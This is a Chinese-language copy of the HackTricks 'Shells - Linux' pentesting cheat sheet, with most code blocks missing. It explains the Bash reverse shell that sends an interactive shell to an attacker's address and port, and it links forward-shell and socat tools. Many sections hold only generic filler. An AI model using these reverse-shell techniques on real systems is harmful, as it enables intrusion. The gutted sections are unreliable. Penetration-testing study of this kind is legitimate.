Shells - Linux

chevron-right从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)arrow-up-righthashtag

其他支持HackTricks的方式:

Try Hard Security Group


如果您对这些shell有任何疑问,可以使用 https://explainshell.com/arrow-up-right 进行检查

Full TTY

一旦获得反向shell 阅读此页面以获取完整的TTY

Bash | sh

符号安全的shell

Shell解释

  1. bash -i: 此部分命令启动一个交互式 (-i) Bash shell。

  2. >&: 此部分命令是将标准输出 (stdout) 和标准错误 (stderr) 重定向到同一目的地的简写表示。

  3. /dev/tcp/<ATTACKER-IP>/<PORT>: 这是一个特殊文件,表示与指定IP地址和端口的TCP连接

  • 通过将输出和错误流重定向到此文件,该命令有效地将交互式shell会话的输出发送到攻击者的机器。

  1. 0>&1: 此部分命令将标准输入 (stdin) 重定向到与标准输出 (stdout) 相同的目的地

创建文件并执行

正向 Shell

在处理基于 Linux 的 Web 应用中的 远程代码执行 (RCE) 漏洞时,通过网络防御措施如 iptables 规则或复杂的数据包过滤机制可能会阻碍实现反向 shell。在这种受限制的环境中,一种替代方法是建立一个 PTY(伪终端)shell,以更有效地与受损系统进行交互。

一个推荐的工具是 tobogganarrow-up-right,它简化了与目标环境的交互。

要有效地利用 toboggan,创建一个针对目标系统 RCE 上下文的 Python 模块。例如,一个名为 nix.py 的模块可以按以下结构组织:

然后,您可以运行:

直接利用交互式shell。您可以添加-b以进行Burpsuite集成,并删除-i以获得更基本的rce包装。

另一种可能性是使用IppSec的前向shell实现https://github.com/IppSec/forward-shellarrow-up-right

您只需要修改:

  • 受攻击主机的URL

  • 您的有效负载的前缀和后缀(如果有的话)

  • 发送有效负载的方式(头部?数据?额外信息?)

然后,您可以发送命令,甚至使用upgrade命令来获得完整的PTY(请注意,管道的读取和写入会有大约1.3秒的延迟)。

Netcat

gsocket

https://www.gsocket.io/deploy/arrow-up-right中查看

Telnet

Telnet是一种用于远程登录的网络协议。

Whois

攻击者

将命令写下来,按回车,然后按CTRL+D(停止STDIN)

受害者

Python

Python

Perl

Perl是一种通用的脚本语言,被广泛用于系统管理、文本处理、网络编程等领域。Perl脚本可以在Linux系统上运行,并且通常被用于编写各种类型的脚本和工具。Perl具有强大的正则表达式功能,使其成为处理文本数据的理想选择。

Ruby

Ruby Shell

Ruby shell is a simple shell written in Ruby that allows for easy command execution. It is useful for executing commands on a target machine once a Ruby interpreter is available.

To use the Ruby shell, you can start by running the following command:

Once the Ruby shell is running, you can execute commands on the target machine by typing them in the shell prompt.

Ruby One-Liners

Ruby one-liners are short and concise Ruby scripts that can be used for various purposes, including data manipulation, text processing, and system administration tasks. They are especially useful for quick tasks that can be accomplished with a single line of code.

Here are some examples of Ruby one-liners:

  • Print the current date and time:

  • List all files in the current directory:

  • Base64 encode a string:

Ruby one-liners can be a powerful tool in a hacker's arsenal for quick and efficient tasks.

PHP

PHP是一种流行的服务器端脚本语言,通常用于Web开发。

Java

Java是一种通用编程语言,具有跨平台特性,适用于各种应用程序开发。 Java程序可以在不同操作系统上运行,只需安装适当的Java运行时环境(JRE)。 Java程序通常编译为字节码,然后在Java虚拟机(JVM)上运行。 Java在网络应用程序和移动应用程序开发中广泛使用。

Ncat

Ncat是一个功能强大的网络工具,可以用于连接、读取和写入数据,以及进行端口扫描和监听。

Golang

Golang

Lua

Lua是一种轻量级、高效的脚本语言,常用于嵌入式系统和游戏开发。 Lua脚本可以通过解释器执行,也可以编译成字节码运行。 Lua具有简洁的语法和强大的扩展能力,被广泛应用于各种领域。 Lua脚本可以通过C语言扩展,实现与底层系统的交互。 Lua的灵活性和易用性使其成为许多开发者的首选。

NodeJS

NodeJS

OpenSSL

攻击者(Kali)

受害者

Socat

https://github.com/andrew-d/static-binariesarrow-up-right

绑定 shell

反向 shell

Awk

Awk是一种强大的文本分析工具,可用于在Linux系统上处理文本数据。Awk提供了灵活的功能,可以轻松提取和处理文本文件中的特定信息。Awk通常与管道一起使用,使其成为自动化任务和数据处理的有用工具。

Finger

攻击者

将命令写下来,按回车,然后按CTRL+D(停止STDIN)

受害者

Gawk

Gawk

Xterm

这将尝试连接到您系统的6001端口:

要捕获反向 shell,您可以使用以下命令(将在 6001 端口监听):

Groovy

frohoffarrow-up-right注意:Java反向shell也适用于Groovy

参考资料

Try Hard Security Group

chevron-right从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)arrow-up-right!hashtag

支持HackTricks的其他方式:

最后更新于